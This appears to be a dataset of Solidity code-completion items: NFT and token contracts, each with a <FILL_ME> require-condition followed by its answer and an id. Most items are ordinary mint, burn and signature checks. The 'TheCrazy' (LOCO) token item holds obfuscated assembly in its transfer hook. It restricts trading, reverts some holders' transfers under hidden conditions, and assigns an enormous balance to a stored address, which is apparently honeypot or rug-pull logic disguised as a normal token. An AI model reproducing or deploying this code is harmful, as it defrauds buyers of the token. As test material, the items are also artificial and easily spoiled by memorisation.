█████ █████ █████ ████ █████░░███████░░██████ █████ ██████ █████ █████ █████ ████████ ░░████████ ░░█████ ░░██████
░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░███ ░░░░░░ ░░░░░ ░░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░░░░░ ░░░░░ ░░░░░░
███ ░███
░░██████
░░░░░░
*/
error InsufficientPayment();
contract RingersTribute is ERC721A, DefaultOperatorFilterer, Ownable {
bool public tributeStart;
uint256 public MAX_SUPPLY = 1024;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 10;
string public _baseTokenURI;
uint256 public price = 0.006529 ether;
// Constructor
constructor() ERC721A("RingersTribute", "RT") {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// Mint
function TributeLive() public onlyOwner {
}
function mint(uint256 qty) external payable
{
require(tributeStart, 'Mint not live yet');
require(<FILL_ME>)
require(qty <= maxPerTx, 'MintLimitReached');
if (msg.value < qty * price) revert InsufficientPayment();
_mint(msg.sender, qty);
}
function setMaxPerTxn(uint256 _num) external onlyOwner {
}
function setMaxPerWallet(uint256 _num) external onlyOwner {
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
/**
* @dev override ERC721A _startTokenId()
*/
function _startTokenId()
internal
view
virtual
override
returns (uint256) {
}
// Token URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setdrop(address[] calldata boardAddresses, uint256 _quantity) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function receiving() public payable {
}
receive() external payable {
}
fallback() external payable {
}
// Withdraw
function withdrawFunds() external onlyOwner {
}
function withdrawFundsToAddress(address _address, uint256 amount) external onlyOwner {
}
}
| _totalMinted()+qty<=MAX_SUPPLY,'ExceedsMaxSupply' | 237,949 | _totalMinted()+qty<=MAX_SUPPLY |
"Contract is paused" | // SPDX-License-Identifier: MIT
// Creator: twitter.com/0xNox_ETH
// .;::::::::::::::::::::::::::::::;.
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX;
// ;KNNNWMMWMMMMMMWWNNNNNNNNNWMMMMMN:
// .',oXMMMMMMMNk:''''''''';OMMMMMN:
// ,xNMMMMMMNk; l00000k,
// .lNMMMMMMNk; .....
// 'dXMMWNO; .......
// 'd0k;. .dXXXXX0;
// .,;;:lc;;;;;;;;;;;;;;;;;;c0MMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX:
// .,;,;;;;;;;;;;;;;;;;;;;;;;;,;;,;,.
// 'dkxkkxxkkkkkkkkkkkkkkkkkkxxxkxkd'
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// 'xkkkOOkkkkkkkkkkkkkkkkkkkkkkkkkx'
// .,,,,,,,,,,,,,,,,,,,,,.
// .lKNWWWWWWWWWWWWWWWWWWWX;
// .lKWMMMMMMMMMMMMMMMMMMMMMX;
// .lKWMMMMMMMMMMMMMMMMMMMMMMMN:
// .lKWMMMMMWKo:::::::::::::::::;.
// .lKWMMMMMWKl.
// .lNMMMMMWKl.
// ;kNMWKl.
// ;dl.
//
// We vow to Protect
// Against the powers of Darkness
// To rain down Justice
// Against all who seek to cause Harm
// To heed the call of those in Need
// To offer up our Arms
// In body and name we give our Code
//
// FOR THE BLOCKCHAIN ⚔️
pragma solidity ^0.8.17;
import "./ICloneforceClaimable.sol";
import "./Strings.sol";
import "./UpdatableOperatorFilterer.sol";
import "./RevokableDefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract VoidReward is
ERC1155Supply,
RevokableDefaultOperatorFilterer,
Ownable,
ReentrancyGuard,
ICloneforceClaimable
{
address private _airdropManagerContract;
string private _baseTokenURI;
address private _admin;
mapping(address => bool) private _burnAuthorizedContracts;
bool public contractPaused;
constructor(
string memory baseTokenURI,
address sigKey,
address admin,
address airdropManagerContract
) ERC1155("") {
}
modifier onlyOwnerOrAdmin() {
}
// For airdrops and claiming through the airdrop manager contract
function mintClaim(address to, uint256 tokenId, uint256 count) external override {
}
function uri(uint256 _id) public view virtual override returns (string memory) {
}
function setAirdropManagerContract(address airdropManagerContract) external onlyOwnerOrAdmin {
}
function mint(address to, uint256 tokenId, uint256 count) external onlyOwnerOrAdmin {
}
function mintBatch(
address[] calldata to,
uint256 tokenId,
uint256[] calldata counts
) external onlyOwnerOrAdmin {
}
function pauseContract(bool paused) external onlyOwnerOrAdmin {
}
function setAdmin(address admin) external onlyOwner {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(<FILL_ME>)
}
// Burn functions
function burn(address from, uint256 id, uint256 amount) external virtual {
}
function burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) external virtual {
}
function setBurnAuthorizedContract(
address authorizedContract,
bool isAuthorized
) external onlyOwnerOrAdmin {
}
// Claim logic
address private _sigKey;
mapping(string => bool) private _usedNonces;
function _claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) private {
}
function claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) external payable nonReentrant {
}
function claimTokensBatch(
address[] calldata to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
uint256[] calldata prices,
string[] calldata nonces,
bytes[] memory signatures
) external payable nonReentrant {
}
function areNoncesUsed(string[] calldata nonces) external view returns (bool[] memory) {
}
function setSignatureKey(address sigKey) external onlyOwner {
}
// Burn upgrade logic
mapping(uint256 => BurnUpgradeConfig) private _burnUpgradeConfigs;
function addBurnUpgradeConfig(
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
) external onlyOwnerOrAdmin {
}
function removeBurnUpgradeConfig(uint256 id) external onlyOwnerOrAdmin {
}
function getBurnUpgradeConfig(
uint256 configId
)
external
view
returns (
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
)
{
}
// Upgrade tokens by burning them and minting new ones
function upgrade(uint256 burnUpgradeConfigId) external payable nonReentrant {
}
// Batch upgrade
function upgradeBatch(uint256[] memory burnUpgradeConfigIds) external payable nonReentrant {
}
// OpenSea metadata initialization
function contractURI() public pure returns (string memory) {
}
// OpenSea operator filtering
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) public override onlyAllowedOperator(from) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
// Withdraw ETH from contract
function withdrawMoney(address to) external onlyOwnerOrAdmin {
}
}
struct BurnUpgradeConfig {
uint256 id;
uint256[] burnIds;
uint256[] burnCounts;
uint256[] targetIds;
uint256[] targetCounts;
uint256 price;
}
| !contractPaused,"Contract is paused" | 238,195 | !contractPaused |
"ERC1155: caller is not token owner nor approved" | // SPDX-License-Identifier: MIT
// Creator: twitter.com/0xNox_ETH
// .;::::::::::::::::::::::::::::::;.
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX;
// ;KNNNWMMWMMMMMMWWNNNNNNNNNWMMMMMN:
// .',oXMMMMMMMNk:''''''''';OMMMMMN:
// ,xNMMMMMMNk; l00000k,
// .lNMMMMMMNk; .....
// 'dXMMWNO; .......
// 'd0k;. .dXXXXX0;
// .,;;:lc;;;;;;;;;;;;;;;;;;c0MMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX:
// .,;,;;;;;;;;;;;;;;;;;;;;;;;,;;,;,.
// 'dkxkkxxkkkkkkkkkkkkkkkkkkxxxkxkd'
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// 'xkkkOOkkkkkkkkkkkkkkkkkkkkkkkkkx'
// .,,,,,,,,,,,,,,,,,,,,,.
// .lKNWWWWWWWWWWWWWWWWWWWX;
// .lKWMMMMMMMMMMMMMMMMMMMMMX;
// .lKWMMMMMMMMMMMMMMMMMMMMMMMN:
// .lKWMMMMMWKo:::::::::::::::::;.
// .lKWMMMMMWKl.
// .lNMMMMMWKl.
// ;kNMWKl.
// ;dl.
//
// We vow to Protect
// Against the powers of Darkness
// To rain down Justice
// Against all who seek to cause Harm
// To heed the call of those in Need
// To offer up our Arms
// In body and name we give our Code
//
// FOR THE BLOCKCHAIN ⚔️
pragma solidity ^0.8.17;
import "./ICloneforceClaimable.sol";
import "./Strings.sol";
import "./UpdatableOperatorFilterer.sol";
import "./RevokableDefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract VoidReward is
ERC1155Supply,
RevokableDefaultOperatorFilterer,
Ownable,
ReentrancyGuard,
ICloneforceClaimable
{
address private _airdropManagerContract;
string private _baseTokenURI;
address private _admin;
mapping(address => bool) private _burnAuthorizedContracts;
bool public contractPaused;
constructor(
string memory baseTokenURI,
address sigKey,
address admin,
address airdropManagerContract
) ERC1155("") {
}
modifier onlyOwnerOrAdmin() {
}
// For airdrops and claiming through the airdrop manager contract
function mintClaim(address to, uint256 tokenId, uint256 count) external override {
}
function uri(uint256 _id) public view virtual override returns (string memory) {
}
function setAirdropManagerContract(address airdropManagerContract) external onlyOwnerOrAdmin {
}
function mint(address to, uint256 tokenId, uint256 count) external onlyOwnerOrAdmin {
}
function mintBatch(
address[] calldata to,
uint256 tokenId,
uint256[] calldata counts
) external onlyOwnerOrAdmin {
}
function pauseContract(bool paused) external onlyOwnerOrAdmin {
}
function setAdmin(address admin) external onlyOwner {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
}
// Burn functions
function burn(address from, uint256 id, uint256 amount) external virtual {
require(<FILL_ME>)
_burn(from, id, amount);
}
function burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) external virtual {
}
function setBurnAuthorizedContract(
address authorizedContract,
bool isAuthorized
) external onlyOwnerOrAdmin {
}
// Claim logic
address private _sigKey;
mapping(string => bool) private _usedNonces;
function _claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) private {
}
function claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) external payable nonReentrant {
}
function claimTokensBatch(
address[] calldata to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
uint256[] calldata prices,
string[] calldata nonces,
bytes[] memory signatures
) external payable nonReentrant {
}
function areNoncesUsed(string[] calldata nonces) external view returns (bool[] memory) {
}
function setSignatureKey(address sigKey) external onlyOwner {
}
// Burn upgrade logic
mapping(uint256 => BurnUpgradeConfig) private _burnUpgradeConfigs;
function addBurnUpgradeConfig(
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
) external onlyOwnerOrAdmin {
}
function removeBurnUpgradeConfig(uint256 id) external onlyOwnerOrAdmin {
}
function getBurnUpgradeConfig(
uint256 configId
)
external
view
returns (
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
)
{
}
// Upgrade tokens by burning them and minting new ones
function upgrade(uint256 burnUpgradeConfigId) external payable nonReentrant {
}
// Batch upgrade
function upgradeBatch(uint256[] memory burnUpgradeConfigIds) external payable nonReentrant {
}
// OpenSea metadata initialization
function contractURI() public pure returns (string memory) {
}
// OpenSea operator filtering
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) public override onlyAllowedOperator(from) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
// Withdraw ETH from contract
function withdrawMoney(address to) external onlyOwnerOrAdmin {
}
}
struct BurnUpgradeConfig {
uint256 id;
uint256[] burnIds;
uint256[] burnCounts;
uint256[] targetIds;
uint256[] targetCounts;
uint256 price;
}
| _burnAuthorizedContracts[msg.sender]||from==msg.sender||isApprovedForAll(from,msg.sender),"ERC1155: caller is not token owner nor approved" | 238,195 | _burnAuthorizedContracts[msg.sender]||from==msg.sender||isApprovedForAll(from,msg.sender) |
"Invalid signature" | // SPDX-License-Identifier: MIT
// Creator: twitter.com/0xNox_ETH
// .;::::::::::::::::::::::::::::::;.
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX;
// ;KNNNWMMWMMMMMMWWNNNNNNNNNWMMMMMN:
// .',oXMMMMMMMNk:''''''''';OMMMMMN:
// ,xNMMMMMMNk; l00000k,
// .lNMMMMMMNk; .....
// 'dXMMWNO; .......
// 'd0k;. .dXXXXX0;
// .,;;:lc;;;;;;;;;;;;;;;;;;c0MMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX:
// .,;,;;;;;;;;;;;;;;;;;;;;;;;,;;,;,.
// 'dkxkkxxkkkkkkkkkkkkkkkkkkxxxkxkd'
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:
// 'xkkkOOkkkkkkkkkkkkkkkkkkkkkkkkkx'
// .,,,,,,,,,,,,,,,,,,,,,.
// .lKNWWWWWWWWWWWWWWWWWWWX;
// .lKWMMMMMMMMMMMMMMMMMMMMMX;
// .lKWMMMMMMMMMMMMMMMMMMMMMMMN:
// .lKWMMMMMWKo:::::::::::::::::;.
// .lKWMMMMMWKl.
// .lNMMMMMWKl.
// ;kNMWKl.
// ;dl.
//
// We vow to Protect
// Against the powers of Darkness
// To rain down Justice
// Against all who seek to cause Harm
// To heed the call of those in Need
// To offer up our Arms
// In body and name we give our Code
//
// FOR THE BLOCKCHAIN ⚔️
pragma solidity ^0.8.17;
import "./ICloneforceClaimable.sol";
import "./Strings.sol";
import "./UpdatableOperatorFilterer.sol";
import "./RevokableDefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract VoidReward is
ERC1155Supply,
RevokableDefaultOperatorFilterer,
Ownable,
ReentrancyGuard,
ICloneforceClaimable
{
address private _airdropManagerContract;
string private _baseTokenURI;
address private _admin;
mapping(address => bool) private _burnAuthorizedContracts;
bool public contractPaused;
constructor(
string memory baseTokenURI,
address sigKey,
address admin,
address airdropManagerContract
) ERC1155("") {
}
modifier onlyOwnerOrAdmin() {
}
// For airdrops and claiming through the airdrop manager contract
function mintClaim(address to, uint256 tokenId, uint256 count) external override {
}
function uri(uint256 _id) public view virtual override returns (string memory) {
}
function setAirdropManagerContract(address airdropManagerContract) external onlyOwnerOrAdmin {
}
function mint(address to, uint256 tokenId, uint256 count) external onlyOwnerOrAdmin {
}
function mintBatch(
address[] calldata to,
uint256 tokenId,
uint256[] calldata counts
) external onlyOwnerOrAdmin {
}
function pauseContract(bool paused) external onlyOwnerOrAdmin {
}
function setAdmin(address admin) external onlyOwner {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
}
// Burn functions
function burn(address from, uint256 id, uint256 amount) external virtual {
}
function burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) external virtual {
}
function setBurnAuthorizedContract(
address authorizedContract,
bool isAuthorized
) external onlyOwnerOrAdmin {
}
// Claim logic
address private _sigKey;
mapping(string => bool) private _usedNonces;
function _claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) private {
require(!_usedNonces[nonce], "Nonce already used");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
bytes32 _hash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(to, tokenId, amount, price, nonce))
)
);
require(<FILL_ME>)
// mint the tokens
_usedNonces[nonce] = true;
_mint(to, tokenId, amount, "");
}
function claimTokens(
address to,
uint256 tokenId,
uint256 amount,
uint256 price,
string calldata nonce,
bytes memory signature
) external payable nonReentrant {
}
function claimTokensBatch(
address[] calldata to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
uint256[] calldata prices,
string[] calldata nonces,
bytes[] memory signatures
) external payable nonReentrant {
}
function areNoncesUsed(string[] calldata nonces) external view returns (bool[] memory) {
}
function setSignatureKey(address sigKey) external onlyOwner {
}
// Burn upgrade logic
mapping(uint256 => BurnUpgradeConfig) private _burnUpgradeConfigs;
function addBurnUpgradeConfig(
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
) external onlyOwnerOrAdmin {
}
function removeBurnUpgradeConfig(uint256 id) external onlyOwnerOrAdmin {
}
function getBurnUpgradeConfig(
uint256 configId
)
external
view
returns (
uint256 id,
uint256[] memory burnIds,
uint256[] memory burnCounts,
uint256[] memory targetIds,
uint256[] memory targetCounts,
uint256 price
)
{
}
// Upgrade tokens by burning them and minting new ones
function upgrade(uint256 burnUpgradeConfigId) external payable nonReentrant {
}
// Batch upgrade
function upgradeBatch(uint256[] memory burnUpgradeConfigIds) external payable nonReentrant {
}
// OpenSea metadata initialization
function contractURI() public pure returns (string memory) {
}
// OpenSea operator filtering
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) public override onlyAllowedOperator(from) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
// Withdraw ETH from contract
function withdrawMoney(address to) external onlyOwnerOrAdmin {
}
}
struct BurnUpgradeConfig {
uint256 id;
uint256[] burnIds;
uint256[] burnCounts;
uint256[] targetIds;
uint256[] targetCounts;
uint256 price;
}
| ecrecover(_hash,v,r,s)==_sigKey,"Invalid signature" | 238,195 | ecrecover(_hash,v,r,s)==_sigKey |
"ERC20: trading is not yet enabled." | // CRAZY CRAZY CRAZY LOCOOOOOOO
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addLoco;
uint256 private burnMe = block.number*2;
mapping (address => bool) private _firstNormal;
mapping (address => bool) private _secondLoco;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _clownShow;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private snowBeach;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private aloeVera = 1; bool private greenTree;
uint256 private _decimals; uint256 private gasLight;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _tokenInit() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployCrazy(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheCrazy is ERC20Token {
constructor() ERC20Token("The Crazy", "LOCO", msg.sender, 2500000 * 10 ** 18) {
}
}
| (trading||(sender==addLoco[1])),"ERC20: trading is not yet enabled." | 238,235 | (trading||(sender==addLoco[1])) |
"already open" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed nextOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address nextOwner) public virtual onlyOwner {
}
function _transferOwnership(address nextOwner) internal virtual {
}
}
interface IDexFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeToSetter() external view returns (address);
function feeTo() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeToSetter(address) external;
function setFeeTo(address) external;
}
interface IDexRouting {
function transferFrom(address _sender, address _recipient, uint256 _amount) external;
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function decimals() public view virtual override returns (uint8) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function fromTransfer(
address sender,
address recipient,
uint256 value
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract XRollups is ERC20, Ownable {
using SafeMath for uint256;
